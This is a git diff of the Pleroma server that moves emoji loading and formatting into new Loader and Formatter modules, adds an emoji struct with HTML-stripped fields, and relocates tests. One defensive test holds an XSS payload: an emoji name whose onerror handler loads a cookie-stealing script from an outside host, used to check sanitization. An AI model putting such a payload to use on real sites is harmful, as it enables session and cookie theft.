diff --git a/lib/mix/tasks/pleroma/emoji.ex b/lib/mix/tasks/pleroma/emoji.ex index 238d8dcd9..881a6f725 100644 --- a/lib/mix/tasks/pleroma/emoji.ex +++ b/lib/mix/tasks/pleroma/emoji.ex @@ -235,7 +235,7 @@ def run(["gen-pack", src]) do cwd: tmp_pack_dir ) - emoji_map = Pleroma.Emoji.make_shortcode_to_file_map(tmp_pack_dir, exts) + emoji_map = Pleroma.Emoji.Loader.make_shortcode_to_file_map(tmp_pack_dir, exts) File.write!(files_name, Jason.encode!(emoji_map, pretty: true)) diff --git a/lib/pleroma/emoji.ex b/lib/pleroma/emoji.ex index 170a7d098..bafad2ae9 100644 --- a/lib/pleroma/emoji.ex +++ b/lib/pleroma/emoji.ex @@ -4,24 +4,37 @@ defmodule Pleroma.Emoji do @moduledoc """ - The emojis are loaded from: - - * emoji packs in INSTANCE-DIR/emoji - * the files: `config/emoji.txt` and `config/custom_emoji.txt` - * glob paths, nested folder is used as tag name for grouping e.g. priv/static/emoji/custom/nested_folder - - This GenServer stores in an ETS table the list of the loaded emojis, and also allows to reload the list at runtime. + This GenServer stores in an ETS table the list of the loaded emojis, + and also allows to reload the list at runtime. """ use GenServer + alias Pleroma.Emoji.Loader + require Logger - @type pattern :: Regex.t() | module() | String.t() - @type patterns :: pattern() | [pattern()] - @type group_patterns :: keyword(patterns()) - @ets __MODULE__.Ets - @ets_options [:ordered_set, :protected, :named_table, {:read_concurrency, true}] + @ets_options [ + :ordered_set, + :protected, + :named_table, + {:read_concurrency, true} + ] + + defstruct [:code, :file, :tags, :safe_code, :safe_file] + + @doc "Build emoji struct" + def build({code, file, tags}) do + %__MODULE__{ + code: code, + file: file, + tags: tags, + safe_code: Pleroma.HTML.strip_tags(code), + safe_file: Pleroma.HTML.strip_tags(file) + } + end + + def build({code, file}), do: build({code, file, []}) @doc false def start_link(_) do @@ -44,11 +57,14 @@ def get(name) do end @doc "Returns all the emojos!!" - @spec get_all() :: [{String.t(), String.t()}, ...] + @spec get_all() :: list({String.t(), String.t(), String.t()}) def get_all do :ets.tab2list(@ets) end + @doc "Clear out old emojis" + def clear_all, do: :ets.delete_all_objects(@ets) + @doc false def init(_) do @ets = :ets.new(@ets, @ets_options) @@ -58,13 +74,13 @@ def init(_) do @doc false def handle_cast(:reload, state) do - load() + update_emojis(Loader.load()) {:noreply, state} end @doc false def handle_call(:reload, _from, state) do - load() + update_emojis(Loader.load()) {:reply, :ok, state} end @@ -75,207 +91,11 @@ def terminate(_, _) do @doc false def code_change(_old_vsn, state, _extra) do - load() + update_emojis(Loader.load()) {:ok, state} end - defp load do - emoji_dir_path = - Path.join( - Pleroma.Config.get!([:instance, :static_dir]), - "emoji" - ) - - emoji_groups = Pleroma.Config.get([:emoji, :groups]) - - case File.ls(emoji_dir_path) do - {:error, :enoent} -> - # The custom emoji directory doesn't exist, - # don't do anything - nil - - {:error, e} -> - # There was some other error - Logger.error("Could not access the custom emoji directory #{emoji_dir_path}: #{e}") - - {:ok, results} -> - grouped = - Enum.group_by(results, fn file -> File.dir?(Path.join(emoji_dir_path, file)) end) - - packs = grouped[true] || [] - files = grouped[false] || [] - - # Print the packs we've found - Logger.info("Found emoji packs: #{Enum.join(packs, ", ")}") - - if not Enum.empty?(files) do - Logger.warn( - "Found files in the emoji folder. These will be ignored, please move them to a subdirectory\nFound files: #{ - Enum.join(files, ", ") - }" - ) - end - - emojis = - Enum.flat_map( - packs, - fn pack -> load_pack(Path.join(emoji_dir_path, pack), emoji_groups) end - ) - - # Clear out old emojis - :ets.delete_all_objects(@ets) - - true = :ets.insert(@ets, emojis) - end - - # Compat thing for old custom emoji handling & default emoji, - # it should run even if there are no emoji packs - shortcode_globs = Pleroma.Config.get([:emoji, :shortcode_globs], []) - - emojis = - (load_from_file("config/emoji.txt", emoji_groups) ++ - load_from_file("config/custom_emoji.txt", emoji_groups) ++ - load_from_globs(shortcode_globs, emoji_groups)) - |> Enum.reject(fn value -> value == nil end) - - true = :ets.insert(@ets, emojis) - - :ok - end - - defp load_pack(pack_dir, emoji_groups) do - pack_name = Path.basename(pack_dir) - - pack_file = Path.join(pack_dir, "pack.json") - - if File.exists?(pack_file) do - contents = Jason.decode!(File.read!(pack_file)) - - contents["files"] - |> Enum.map(fn {name, rel_file} -> - filename = Path.join("/emoji/#{pack_name}", rel_file) - {name, filename, pack_name} - end) - else - # Load from emoji.txt / all files - emoji_txt = Path.join(pack_dir, "emoji.txt") - - if File.exists?(emoji_txt) do - load_from_file(emoji_txt, emoji_groups) - else - extensions = Pleroma.Config.get([:emoji, :pack_extensions]) - - Logger.info( - "No emoji.txt found for pack \"#{pack_name}\", assuming all #{ - Enum.join(extensions, ", ") - } files are emoji" - ) - - make_shortcode_to_file_map(pack_dir, extensions) - |> Enum.map(fn {shortcode, rel_file} -> - filename = Path.join("/emoji/#{pack_name}", rel_file) - - {shortcode, filename, [to_string(match_extra(emoji_groups, filename))]} - end) - end - end - end - - def make_shortcode_to_file_map(pack_dir, exts) do - find_all_emoji(pack_dir, exts) - |> Enum.map(&Path.relative_to(&1, pack_dir)) - |> Enum.map(fn f -> {f |> Path.basename() |> Path.rootname(), f} end) - |> Enum.into(%{}) - end - - def find_all_emoji(dir, exts) do - Enum.reduce( - File.ls!(dir), - [], - fn f, acc -> - filepath = Path.join(dir, f) - - if File.dir?(filepath) do - acc ++ find_all_emoji(filepath, exts) - else - acc ++ [filepath] - end - end - ) - |> Enum.filter(fn f -> Path.extname(f) in exts end) - end - - defp load_from_file(file, emoji_groups) do - if File.exists?(file) do - load_from_file_stream(File.stream!(file), emoji_groups) - else - [] - end - end - - defp load_from_file_stream(stream, emoji_groups) do - stream - |> Stream.map(&String.trim/1) - |> Stream.map(fn line -> - case String.split(line, ~r/,\s*/) do - [name, file] -> - {name, file, [to_string(match_extra(emoji_groups, file))]} - - [name, file | tags] -> - {name, file, tags} - - _ -> - nil - end - end) - |> Enum.to_list() - end - - defp load_from_globs(globs, emoji_groups) do - static_path = Path.join(:code.priv_dir(:pleroma), "static") - - paths = - Enum.map(globs, fn glob -> - Path.join(static_path, glob) - |> Path.wildcard() - end) - |> Enum.concat() - - Enum.map(paths, fn path -> - tag = match_extra(emoji_groups, Path.join("/", Path.relative_to(path, static_path))) - shortcode = Path.basename(path, Path.extname(path)) - external_path = Path.join("/", Path.relative_to(path, static_path)) - {shortcode, external_path, [to_string(tag)]} - end) - end - - @doc """ - Finds a matching group for the given emoji filename - """ - @spec match_extra(group_patterns(), String.t()) :: atom() | nil - def match_extra(group_patterns, filename) do - match_group_patterns(group_patterns, fn pattern -> - case pattern do - %Regex{} = regex -> Regex.match?(regex, filename) - string when is_binary(string) -> filename == string - end - end) - end - - defp match_group_patterns(group_patterns, matcher) do - Enum.find_value(group_patterns, fn {group, patterns} -> - patterns = - patterns - |> List.wrap() - |> Enum.map(fn pattern -> - if String.contains?(pattern, "*") do - ~r(#{String.replace(pattern, "*", ".*")}) - else - pattern - end - end) - - Enum.any?(patterns, matcher) && group - end) + defp update_emojis(emojis) do + :ets.insert(@ets, emojis) end end diff --git a/lib/pleroma/emoji/formatter.ex b/lib/pleroma/emoji/formatter.ex new file mode 100644 index 000000000..4869d073e --- /dev/null +++ b/lib/pleroma/emoji/formatter.ex @@ -0,0 +1,59 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.Formatter do + alias Pleroma.Emoji + alias Pleroma.HTML + alias Pleroma.Web.MediaProxy + + def emojify(text) do + emojify(text, Emoji.get_all()) + end + + def emojify(text, nil), do: text + + def emojify(text, emoji, strip \\ false) do + Enum.reduce(emoji, text, fn + {_, %Emoji{safe_code: emoji, safe_file: file}}, text -> + String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip)) + + {unsafe_emoji, unsafe_file}, text -> + emoji = HTML.strip_tags(unsafe_emoji) + file = HTML.strip_tags(unsafe_file) + String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip)) + end) + |> HTML.filter_tags() + end + + defp prepare_emoji_html(_emoji, _file, true), do: "" + + defp prepare_emoji_html(emoji, file, _strip) do + "#{emoji}" + end + + def demojify(text) do + emojify(text, Emoji.get_all(), true) + end + + def demojify(text, nil), do: text + + @doc "Outputs a list of the emoji-shortcodes in a text" + def get_emoji(text) when is_binary(text) do + Enum.filter(Emoji.get_all(), fn {emoji, %Emoji{}} -> + String.contains?(text, ":#{emoji}:") + end) + end + + def get_emoji(_), do: [] + + @doc "Outputs a list of the emoji-Maps in a text" + def get_emoji_map(text) when is_binary(text) do + get_emoji(text) + |> Enum.reduce(%{}, fn {name, %Emoji{file: file}}, acc -> + Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}") + end) + end + + def get_emoji_map(_), do: [] +end diff --git a/lib/pleroma/emoji/loader.ex b/lib/pleroma/emoji/loader.ex new file mode 100644 index 000000000..a29de0a33 --- /dev/null +++ b/lib/pleroma/emoji/loader.ex @@ -0,0 +1,224 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.Loader do + @moduledoc """ + The Loader emoji from: + + * emoji packs in INSTANCE-DIR/emoji + * the files: `config/emoji.txt` and `config/custom_emoji.txt` + * glob paths, nested folder is used as tag name for grouping e.g. priv/static/emoji/custom/nested_folder + """ + alias Pleroma.Config + alias Pleroma.Emoji + + require Logger + + @type pattern :: Regex.t() | module() | String.t() + @type patterns :: pattern() | [pattern()] + @type group_patterns :: keyword(patterns()) + @type emoji :: {String.t(), Emoji.t()} + + @doc """ + Loads emojis from files/packs. + + returns list emojis in format: + `{"000", "/emoji/freespeechextremist.com/000.png", ["Custom"]}` + """ + @spec load() :: list(emoji) + def load do + emoji_dir_path = Path.join(Config.get!([:instance, :static_dir]), "emoji") + + emoji_groups = Config.get([:emoji, :groups]) + + emojis = + case File.ls(emoji_dir_path) do + {:error, :enoent} -> + # The custom emoji directory doesn't exist, + # don't do anything + [] + + {:error, e} -> + # There was some other error + Logger.error("Could not access the custom emoji directory #{emoji_dir_path}: #{e}") + [] + + {:ok, results} -> + grouped = + Enum.group_by(results, fn file -> + File.dir?(Path.join(emoji_dir_path, file)) + end) + + packs = grouped[true] || [] + files = grouped[false] || [] + + # Print the packs we've found + Logger.info("Found emoji packs: #{Enum.join(packs, ", ")}") + + if not Enum.empty?(files) do + Logger.warn( + "Found files in the emoji folder. These will be ignored, please move them to a subdirectory\nFound files: #{ + Enum.join(files, ", ") + }" + ) + end + + emojis = + Enum.flat_map(packs, fn pack -> + load_pack(Path.join(emoji_dir_path, pack), emoji_groups) + end) + + Emoji.clear_all() + emojis + end + + # Compat thing for old custom emoji handling & default emoji, + # it should run even if there are no emoji packs + shortcode_globs = Config.get([:emoji, :shortcode_globs], []) + + emojis_txt = + (load_from_file("config/emoji.txt", emoji_groups) ++ + load_from_file("config/custom_emoji.txt", emoji_groups) ++ + load_from_globs(shortcode_globs, emoji_groups)) + |> Enum.reject(fn value -> value == nil end) + + Enum.map(emojis ++ emojis_txt, &prepare_emoji/1) + end + + defp prepare_emoji({code, _, _} = emoji), do: {code, Emoji.build(emoji)} + + defp load_pack(pack_dir, emoji_groups) do + pack_name = Path.basename(pack_dir) + + pack_file = Path.join(pack_dir, "pack.json") + + if File.exists?(pack_file) do + contents = Jason.decode!(File.read!(pack_file)) + + contents["files"] + |> Enum.map(fn {name, rel_file} -> + filename = Path.join("/emoji/#{pack_name}", rel_file) + {name, filename, pack_name} + end) + else + # Load from emoji.txt / all files + emoji_txt = Path.join(pack_dir, "emoji.txt") + + if File.exists?(emoji_txt) do + load_from_file(emoji_txt, emoji_groups) + else + extensions = Pleroma.Config.get([:emoji, :pack_extensions]) + + Logger.info( + "No emoji.txt found for pack \"#{pack_name}\", assuming all #{ + Enum.join(extensions, ", ") + } files are emoji" + ) + + make_shortcode_to_file_map(pack_dir, extensions) + |> Enum.map(fn {shortcode, rel_file} -> + filename = Path.join("/emoji/#{pack_name}", rel_file) + + {shortcode, filename, [to_string(match_extra(emoji_groups, filename))]} + end) + end + end + end + + def make_shortcode_to_file_map(pack_dir, exts) do + find_all_emoji(pack_dir, exts) + |> Enum.map(&Path.relative_to(&1, pack_dir)) + |> Enum.map(fn f -> {f |> Path.basename() |> Path.rootname(), f} end) + |> Enum.into(%{}) + end + + def find_all_emoji(dir, exts) do + dir + |> File.ls!() + |> Enum.flat_map(fn f -> + filepath = Path.join(dir, f) + + if File.dir?(filepath) do + find_all_emoji(filepath, exts) + else + [filepath] + end + end) + |> Enum.filter(fn f -> Path.extname(f) in exts end) + end + + defp load_from_file(file, emoji_groups) do + if File.exists?(file) do + load_from_file_stream(File.stream!(file), emoji_groups) + else + [] + end + end + + defp load_from_file_stream(stream, emoji_groups) do + stream + |> Stream.map(&String.trim/1) + |> Stream.map(fn line -> + case String.split(line, ~r/,\s*/) do + [name, file] -> + {name, file, [to_string(match_extra(emoji_groups, file))]} + + [name, file | tags] -> + {name, file, tags} + + _ -> + nil + end + end) + |> Enum.to_list() + end + + defp load_from_globs(globs, emoji_groups) do + static_path = Path.join(:code.priv_dir(:pleroma), "static") + + paths = + Enum.map(globs, fn glob -> + Path.join(static_path, glob) + |> Path.wildcard() + end) + |> Enum.concat() + + Enum.map(paths, fn path -> + tag = match_extra(emoji_groups, Path.join("/", Path.relative_to(path, static_path))) + shortcode = Path.basename(path, Path.extname(path)) + external_path = Path.join("/", Path.relative_to(path, static_path)) + {shortcode, external_path, [to_string(tag)]} + end) + end + + @doc """ + Finds a matching group for the given emoji filename + """ + @spec match_extra(group_patterns(), String.t()) :: atom() | nil + def match_extra(group_patterns, filename) do + match_group_patterns(group_patterns, fn pattern -> + case pattern do + %Regex{} = regex -> Regex.match?(regex, filename) + string when is_binary(string) -> filename == string + end + end) + end + + defp match_group_patterns(group_patterns, matcher) do + Enum.find_value(group_patterns, fn {group, patterns} -> + patterns = + patterns + |> List.wrap() + |> Enum.map(fn pattern -> + if String.contains?(pattern, "*") do + ~r(#{String.replace(pattern, "*", ".*")}) + else + pattern + end + end) + + Enum.any?(patterns, matcher) && group + end) + end +end diff --git a/lib/pleroma/formatter.ex b/lib/pleroma/formatter.ex index 23a5ac8fe..931b9af2b 100644 --- a/lib/pleroma/formatter.ex +++ b/lib/pleroma/formatter.ex @@ -3,10 +3,8 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Formatter do - alias Pleroma.Emoji alias Pleroma.HTML alias Pleroma.User - alias Pleroma.Web.MediaProxy @safe_mention_regex ~r/^(\s*(?(@.+?\s+){1,})+)(?.*)/s @link_regex ~r"((?:http(s)?:\/\/)?[\w.-]+(?:\.[\w\.-]+)+[\w\-\._~%:/?#[\]@!\$&'\(\)\*\+,;=.]+)|[0-9a-z+\-\.]+:[0-9a-z$-_.+!*'(),]+"ui @@ -100,51 +98,6 @@ def mentions_escape(text, options \\ []) do end end - def emojify(text) do - emojify(text, Emoji.get_all()) - end - - def emojify(text, nil), do: text - - def emojify(text, emoji, strip \\ false) do - Enum.reduce(emoji, text, fn emoji_data, text -> - emoji = HTML.strip_tags(elem(emoji_data, 0)) - file = HTML.strip_tags(elem(emoji_data, 1)) - - html = - if not strip do - "#{emoji}" - else - "" - end - - String.replace(text, ":#{emoji}:", html) |> HTML.filter_tags() - end) - end - - def demojify(text) do - emojify(text, Emoji.get_all(), true) - end - - def demojify(text, nil), do: text - - @doc "Outputs a list of the emoji-shortcodes in a text" - def get_emoji(text) when is_binary(text) do - Enum.filter(Emoji.get_all(), fn {emoji, _, _} -> String.contains?(text, ":#{emoji}:") end) - end - - def get_emoji(_), do: [] - - @doc "Outputs a list of the emoji-Maps in a text" - def get_emoji_map(text) when is_binary(text) do - get_emoji(text) - |> Enum.reduce(%{}, fn {name, file, _group}, acc -> - Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}") - end) - end - - def get_emoji_map(_), do: [] - def html_escape({text, mentions, hashtags}, type) do {html_escape(text, type), mentions, hashtags} end diff --git a/lib/pleroma/web/common_api/common_api.ex b/lib/pleroma/web/common_api/common_api.ex index 5faddc9f4..9ee704022 100644 --- a/lib/pleroma/web/common_api/common_api.ex +++ b/lib/pleroma/web/common_api/common_api.ex @@ -6,7 +6,7 @@ defmodule Pleroma.Web.CommonAPI do alias Pleroma.Activity alias Pleroma.ActivityExpiration alias Pleroma.Conversation.Participation - alias Pleroma.Formatter + alias Pleroma.Emoji alias Pleroma.Object alias Pleroma.ThreadMute alias Pleroma.User @@ -261,12 +261,7 @@ def post(user, %{"status" => status} = data) do sensitive, poll ), - object <- - Map.put( - object, - "emoji", - Map.merge(Formatter.get_emoji_map(full_payload), poll_emoji) - ) do + object <- put_emoji(object, full_payload, poll_emoji) do preview? = Pleroma.Web.ControllerHelper.truthy_param?(data["preview"]) || false direct? = visibility == "direct" @@ -300,6 +295,15 @@ def post(user, %{"status" => status} = data) do end end + # parse and put emoji to object data + defp put_emoji(map, text, emojis) do + Map.put( + map, + "emoji", + Map.merge(Emoji.Formatter.get_emoji_map(text), emojis) + ) + end + # Updates the emojis for a user based on their profile def update(user) do user = diff --git a/lib/pleroma/web/common_api/utils.ex b/lib/pleroma/web/common_api/utils.ex index 6958c7511..1fb95f4ab 100644 --- a/lib/pleroma/web/common_api/utils.ex +++ b/lib/pleroma/web/common_api/utils.ex @@ -9,6 +9,7 @@ defmodule Pleroma.Web.CommonAPI.Utils do alias Pleroma.Activity alias Pleroma.Config alias Pleroma.Conversation.Participation + alias Pleroma.Emoji alias Pleroma.Formatter alias Pleroma.Object alias Pleroma.Plugs.AuthenticationPlug @@ -184,7 +185,7 @@ def make_poll_data(%{"poll" => %{"options" => options, "expires_in" => expires_i "name" => option, "type" => "Note", "replies" => %{"type" => "Collection", "totalItems" => 0} - }, Map.merge(emoji, Formatter.get_emoji_map(option))} + }, Map.merge(emoji, Emoji.Formatter.get_emoji_map(option))} end) case expires_in do @@ -434,8 +435,8 @@ def confirm_current_password(user, password) do end def emoji_from_profile(%{info: _info} = user) do - (Formatter.get_emoji(user.bio) ++ Formatter.get_emoji(user.name)) - |> Enum.map(fn {shortcode, url, _} -> + (Emoji.Formatter.get_emoji(user.bio) ++ Emoji.Formatter.get_emoji(user.name)) + |> Enum.map(fn {shortcode, %Emoji{file: url}} -> %{ "type" => "Emoji", "icon" => %{"type" => "Image", "url" => "#{Endpoint.url()}#{url}"}, diff --git a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex index 6421c2c53..bb81b061e 100644 --- a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex @@ -13,8 +13,8 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do alias Pleroma.Bookmark alias Pleroma.Config alias Pleroma.Conversation.Participation + alias Pleroma.Emoji alias Pleroma.Filter - alias Pleroma.Formatter alias Pleroma.HTTP alias Pleroma.Notification alias Pleroma.Object @@ -140,7 +140,7 @@ def update_credentials(%{assigns: %{user: user}} = conn, params) do user_info_emojis = user.info |> Map.get(:emoji, []) - |> Enum.concat(Formatter.get_emoji_map(emojis_text)) + |> Enum.concat(Emoji.Formatter.get_emoji_map(emojis_text)) |> Enum.dedup() info_params = @@ -333,7 +333,7 @@ def peers(conn, _params) do defp mastodonized_emoji do Pleroma.Emoji.get_all() - |> Enum.map(fn {shortcode, relative_url, tags} -> + |> Enum.map(fn {shortcode, %Pleroma.Emoji{file: relative_url, tags: tags}} -> url = to_string(URI.merge(Web.base_url(), relative_url)) %{ diff --git a/lib/pleroma/web/metadata/utils.ex b/lib/pleroma/web/metadata/utils.ex index 720bd4519..382ecf426 100644 --- a/lib/pleroma/web/metadata/utils.ex +++ b/lib/pleroma/web/metadata/utils.ex @@ -3,6 +3,7 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Web.Metadata.Utils do + alias Pleroma.Emoji alias Pleroma.Formatter alias Pleroma.HTML alias Pleroma.Web.MediaProxy @@ -13,7 +14,7 @@ def scrub_html_and_truncate(%{data: %{"content" => content}} = object) do |> HtmlEntities.decode() |> String.replace(~r//, " ") |> HTML.get_cached_stripped_html_for_activity(object, "metadata") - |> Formatter.demojify() + |> Emoji.Formatter.demojify() |> Formatter.truncate() end @@ -23,7 +24,7 @@ def scrub_html_and_truncate(content, max_length \\ 200) when is_binary(content) |> HtmlEntities.decode() |> String.replace(~r//, " ") |> HTML.strip_tags() - |> Formatter.demojify() + |> Emoji.Formatter.demojify() |> Formatter.truncate(max_length) end diff --git a/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex b/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex index 3ad29bd38..370bee9c3 100644 --- a/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex @@ -569,7 +569,7 @@ defp files_for_pack(emoji_txt_path, dir_path) do # If there's no emoji.txt, assume all files # that are of certain extensions from the config are emojis and import them all pack_extensions = Pleroma.Config.get!([:emoji, :pack_extensions]) - Pleroma.Emoji.make_shortcode_to_file_map(dir_path, pack_extensions) + Pleroma.Emoji.Loader.make_shortcode_to_file_map(dir_path, pack_extensions) end end end diff --git a/lib/pleroma/web/twitter_api/controllers/util_controller.ex b/lib/pleroma/web/twitter_api/controllers/util_controller.ex index d7745ae7a..f05a84c7f 100644 --- a/lib/pleroma/web/twitter_api/controllers/util_controller.ex +++ b/lib/pleroma/web/twitter_api/controllers/util_controller.ex @@ -239,11 +239,9 @@ def version(conn, _params) do def emoji(conn, _params) do emoji = - Emoji.get_all() - |> Enum.map(fn {short_code, path, tags} -> - {short_code, %{image_url: path, tags: tags}} + Enum.reduce(Emoji.get_all(), %{}, fn {code, %Emoji{file: file, tags: tags}}, acc -> + Map.put(acc, code, %{image_url: file, tags: tags}) end) - |> Enum.into(%{}) json(conn, emoji) end diff --git a/test/emoji/formatter_test.exs b/test/emoji/formatter_test.exs new file mode 100644 index 000000000..6d25fc453 --- /dev/null +++ b/test/emoji/formatter_test.exs @@ -0,0 +1,64 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2018 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.FormatterTest do + alias Pleroma.Emoji + alias Pleroma.Emoji.Formatter + use Pleroma.DataCase + + describe "emojify" do + test "it adds cool emoji" do + text = "I love :firefox:" + + expected_result = + "I love \"firefox\"" + + assert Formatter.emojify(text) == expected_result + end + + test "it does not add XSS emoji" do + text = + "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" + + custom_emoji = + { + "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)", + "https://placehold.it/1x1" + } + |> Pleroma.Emoji.build() + + expected_result = + "I love \"\"" + + assert Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) == expected_result + end + end + + describe "get_emoji" do + test "it returns the emoji used in the text" do + text = "I love :firefox:" + + assert Formatter.get_emoji(text) == [ + {"firefox", + %Emoji{ + code: "firefox", + file: "/emoji/Firefox.gif", + tags: ["Gif", "Fun"], + safe_code: "firefox", + safe_file: "/emoji/Firefox.gif" + }} + ] + end + + test "it returns a nice empty result when no emojis are present" do + text = "I love moominamma" + assert Formatter.get_emoji(text) == [] + end + + test "it doesn't die when text is absent" do + text = nil + assert Formatter.get_emoji(text) == [] + end + end +end diff --git a/test/emoji/loader_test.exs b/test/emoji/loader_test.exs new file mode 100644 index 000000000..045eef150 --- /dev/null +++ b/test/emoji/loader_test.exs @@ -0,0 +1,83 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.LoaderTest do + use ExUnit.Case, async: true + alias Pleroma.Emoji.Loader + + describe "match_extra/2" do + setup do + groups = [ + "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"], + "wildcard folder": "/emoji/custom/*/file.png", + "wildcard files": "/emoji/custom/folder/*.png", + "special file": "/emoji/custom/special.png" + ] + + {:ok, groups: groups} + end + + test "config for list of files", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/first_file.png") + |> to_string() + + assert group == "list of files" + end + + test "config with wildcard folder", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/some_folder/file.png") + |> to_string() + + assert group == "wildcard folder" + end + + test "config with wildcard folder and subfolders", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/some_folder/another_folder/file.png") + |> to_string() + + assert group == "wildcard folder" + end + + test "config with wildcard files", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/folder/some_file.png") + |> to_string() + + assert group == "wildcard files" + end + + test "config with wildcard files and subfolders", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/folder/another_folder/some_file.png") + |> to_string() + + assert group == "wildcard files" + end + + test "config for special file", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/special.png") + |> to_string() + + assert group == "special file" + end + + test "no mathing returns nil", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/some_undefined.png") + + refute group + end + end +end diff --git a/test/emoji_test.exs b/test/emoji_test.exs index 07ac6ff1d..1fdbd0fdf 100644 --- a/test/emoji_test.exs +++ b/test/emoji_test.exs @@ -14,9 +14,9 @@ defmodule Pleroma.EmojiTest do test "first emoji", %{emoji_list: emoji_list} do [emoji | _others] = emoji_list - {code, path, tags} = emoji + {code, %Emoji{file: path, tags: tags}} = emoji - assert tuple_size(emoji) == 3 + assert tuple_size(emoji) == 2 assert is_binary(code) assert is_binary(path) assert is_list(tags) @@ -24,87 +24,12 @@ test "first emoji", %{emoji_list: emoji_list} do test "random emoji", %{emoji_list: emoji_list} do emoji = Enum.random(emoji_list) - {code, path, tags} = emoji + {code, %Emoji{file: path, tags: tags}} = emoji - assert tuple_size(emoji) == 3 + assert tuple_size(emoji) == 2 assert is_binary(code) assert is_binary(path) assert is_list(tags) end end - - describe "match_extra/2" do - setup do - groups = [ - "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"], - "wildcard folder": "/emoji/custom/*/file.png", - "wildcard files": "/emoji/custom/folder/*.png", - "special file": "/emoji/custom/special.png" - ] - - {:ok, groups: groups} - end - - test "config for list of files", %{groups: groups} do - group = - groups - |> Emoji.match_extra("/emoji/custom/first_file.png") - |> to_string() - - assert group == "list of files" - end - - test "config with wildcard folder", %{groups: groups} do - group = - groups - |> Emoji.match_extra("/emoji/custom/some_folder/file.png") - |> to_string() - - assert group == "wildcard folder" - end - - test "config with wildcard folder and subfolders", %{groups: groups} do - group = - groups - |> Emoji.match_extra("/emoji/custom/some_folder/another_folder/file.png") - |> to_string() - - assert group == "wildcard folder" - end - - test "config with wildcard files", %{groups: groups} do - group = - groups - |> Emoji.match_extra("/emoji/custom/folder/some_file.png") - |> to_string() - - assert group == "wildcard files" - end - - test "config with wildcard files and subfolders", %{groups: groups} do - group = - groups - |> Emoji.match_extra("/emoji/custom/folder/another_folder/some_file.png") - |> to_string() - - assert group == "wildcard files" - end - - test "config for special file", %{groups: groups} do - group = - groups - |> Emoji.match_extra("/emoji/custom/special.png") - |> to_string() - - assert group == "special file" - end - - test "no mathing returns nil", %{groups: groups} do - group = - groups - |> Emoji.match_extra("/emoji/some_undefined.png") - - refute group - end - end end diff --git a/test/formatter_test.exs b/test/formatter_test.exs index 2e4280fc2..3bff51527 100644 --- a/test/formatter_test.exs +++ b/test/formatter_test.exs @@ -225,6 +225,27 @@ test "given the 'safe_mention' option, it will keep text after newlines" do assert expected_text =~ "how are you doing?" end + + test "it can parse mentions and return the relevant users" do + text = + "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm" + + o = insert(:user, %{nickname: "o"}) + jimm = insert(:user, %{nickname: "jimm"}) + gsimg = insert(:user, %{nickname: "gsimg"}) + archaeme = insert(:user, %{nickname: "archaeme"}) + archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"}) + + expected_mentions = [ + {"@archaeme", archaeme}, + {"@archaeme@archae.me", archaeme_remote}, + {"@gsimg", gsimg}, + {"@jimm", jimm}, + {"@o", o} + ] + + assert {_text, ^expected_mentions, []} = Formatter.linkify(text) + end end describe ".parse_tags" do @@ -242,69 +263,6 @@ test "parses tags in the text" do end end - test "it can parse mentions and return the relevant users" do - text = - "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm" - - o = insert(:user, %{nickname: "o"}) - jimm = insert(:user, %{nickname: "jimm"}) - gsimg = insert(:user, %{nickname: "gsimg"}) - archaeme = insert(:user, %{nickname: "archaeme"}) - archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"}) - - expected_mentions = [ - {"@archaeme", archaeme}, - {"@archaeme@archae.me", archaeme_remote}, - {"@gsimg", gsimg}, - {"@jimm", jimm}, - {"@o", o} - ] - - assert {_text, ^expected_mentions, []} = Formatter.linkify(text) - end - - test "it adds cool emoji" do - text = "I love :firefox:" - - expected_result = - "I love \"firefox\"" - - assert Formatter.emojify(text) == expected_result - end - - test "it does not add XSS emoji" do - text = - "I love :'onload=\"this.src='bacon'\" onerror='var a = 